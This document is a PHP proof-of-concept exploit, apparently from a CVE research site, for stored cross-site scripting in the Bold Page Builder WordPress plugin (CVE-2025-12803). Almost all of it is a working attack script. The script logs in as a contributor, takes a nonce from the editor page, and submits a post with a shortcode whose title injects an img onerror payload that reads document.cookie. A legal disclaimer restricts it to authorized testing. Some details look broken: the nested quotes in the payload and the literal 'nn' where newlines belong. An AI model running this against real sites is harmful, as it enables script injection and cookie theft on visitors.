CVE-2025-12803: Bold Builder <= 5.5.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via bt_bb_tabs Shortcode (bold-page-builder)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12803 - Bold Builder <= 5.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via bt_bb_tabs Shortcode
<?php
/**
 * Proof of Concept for CVE-2025-12803.
 * Assumptions: The target site uses the Bold Page Builder plugin <= v5.5.1.
 * The attacker has valid contributor-level credentials.
 * The exploit injects a shortcode via the standard WordPress post editor.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_pass'; // CONFIGURE THIS

// Payload: XSS via the 'title' attribute of the bt_bb_tabs shortcode.
// This is a common attribute for tab components. The script triggers on page load.
$malicious_shortcode = '[bt_bb_tabs title="<img src="x" onerror="alert(`XSS: ${document.cookie}`)">"]';
$post_title = 'Post with XSS PoC';
$post_content = "This post contains an exploited shortcode.nn" . $malicious_shortcode . "nnNormal post content here.";

// Step 1: Authenticate to WordPress and retrieve a nonce for creating a post.
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);

// Step 2: Create a new post with the malicious shortcode.
// Contributor users typically use the '/wp-admin/post-new.php' endpoint.
$create_post_url = $target_url . '/wp-admin/post-new.php';
// We need to fetch the page first to get the nonce (_wpnonce) for the 'add-post' action.
curl_setopt_array($ch, [
    CURLOPT_URL => $create_post_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true,
]);
$post_page = curl_exec($ch);

// Extract the nonce from the page. This regex is a simplification; real implementation may need adjustment.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $post_page, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Could not retrieve nonce. Authentication may have failed.');
}

// Submit the post creation form.
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'post_title' => $post_title,
        'content' => $post_content,
        'publish' => 'Publish', // Contributor posts submit for review.
        '_wpnonce' => $nonce,
        '_wp_http_referer' => $create_post_url,
        'post_type' => 'post',
        'action' => 'editpost'
    ]),
]);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Post submitted') !== false || strpos($response, 'Post updated') !== false) {
    echo "PoC likely successful. The post containing the malicious shortcode has been submitted.n";
    echo "Visit the post to trigger the XSS payload.n";
} else {
    echo "PoC submission may have failed. Check credentials and site configuration.n";
}
?>